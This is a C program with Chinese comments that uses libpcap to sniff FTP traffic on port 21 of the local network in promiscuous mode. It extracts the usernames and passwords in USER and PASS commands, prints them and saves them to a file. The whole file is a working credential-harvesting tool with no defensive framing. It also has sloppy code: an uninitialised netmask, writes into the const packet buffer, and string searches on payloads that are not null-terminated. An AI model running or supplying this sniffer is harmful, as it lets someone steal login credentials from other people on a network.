#include <stdio.h>
#include <pcap.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <string.h>

/* 定义文件指针 */
FILE *output_file;

/* 数据包处理回调函数 */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
    struct ip *ip_hdr;
    struct tcphdr *tcp_hdr;
    int ip_header_length;
    int tcp_header_length;
    const u_char *payload;
    int payload_length;

    /* 计算 IP 头部的长度 */
    ip_hdr = (struct ip *)(pkt_data + 14); // 跳过以太网头部
    ip_header_length = ip_hdr->ip_hl * 4;

    /* 检查是否为 TCP 数据包 */
    if (ip_hdr->ip_p == IPPROTO_TCP)
    {
        tcp_hdr = (struct tcphdr *)(pkt_data + 14 + ip_header_length);
        tcp_header_length = (tcp_hdr->doff) * 4;

        /* 计算有效负载的起始位置和长度 */
        payload = pkt_data + 14 + ip_header_length + tcp_header_length;
        payload_length = header->len - 14 - ip_header_length - tcp_header_length;

        /* 检查是否为 FTP 控制端口（默认 21） */
        if ((ntohs(tcp_hdr->th_sport) == 21 || ntohs(tcp_hdr->th_dport) == 21) && payload_length > 0)
        {
            /* 查找 USER 命令 */
            char *user_str = strstr((char *)payload, "USER ");
            if (user_str != NULL)
            {
                user_str += 5; // 跳过 "USER "
                char *newline = strchr(user_str, '\n');
                if (newline != NULL)
                {
                    *newline = '\0';
                }
                printf("捕获到 FTP USER 命令，用户名: %s\n", user_str);
                fprintf(output_file, "捕获到 FTP USER 命令，用户名: %s\n", user_str);
                fflush(output_file);
            }

            /* 查找 PASS 命令 */
            char *pass_str = strstr((char *)payload, "PASS ");
            if (pass_str != NULL)
            {
                pass_str += 5; // 跳过 "PASS "
                char *newline = strchr(pass_str, '\n');
                if (newline != NULL)
                {
                    *newline = '\0';
                }
                printf("捕获到 FTP PASS 命令，密码: %s\n", pass_str);
                fprintf(output_file, "捕获到 FTP PASS 命令，密码: %s\n", pass_str);
                fflush(output_file);
            }
        }
    }
}

int main()
{
    pcap_t *handle;
    char errbuf[PCAP_ERRBUF_SIZE];
    struct bpf_program fp;
    char filter_exp[] = "tcp port 21";
    bpf_u_int32 net;

    /* 打开输出文件 */
    output_file = fopen("ftp_captured_data.txt", "w");
    if (output_file == NULL)
    {
        fprintf(stderr, "无法打开输出文件\n");
        return 1;
    }

    /* 打开默认网络设备 */
    handle = pcap_open_live(pcap_lookupdev(errbuf), BUFSIZ, 1, 1000, errbuf);
    if (handle == NULL)
    {
        fprintf(stderr, "无法打开设备: %s\n", errbuf);
        fclose(output_file);
        return 2;
    }

    /* 编译过滤规则 */
    if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1)
    {
        fprintf(stderr, "无法编译过滤规则: %s\n", pcap_geterr(handle));
        fclose(output_file);
        pcap_close(handle);
        return 2;
    }

    /* 应用过滤规则 */
    if (pcap_setfilter(handle, &fp) == -1)
    {
        fprintf(stderr, "无法应用过滤规则: %s\n", pcap_geterr(handle));
        fclose(output_file);
        pcap_close(handle);
        return 2;
    }

    /* 开始捕获数据包 */
    pcap_loop(handle, 0, packet_handler, NULL);

    /* 关闭设备和文件 */
    pcap_close(handle);
    fclose(output_file);
    return 0;
}
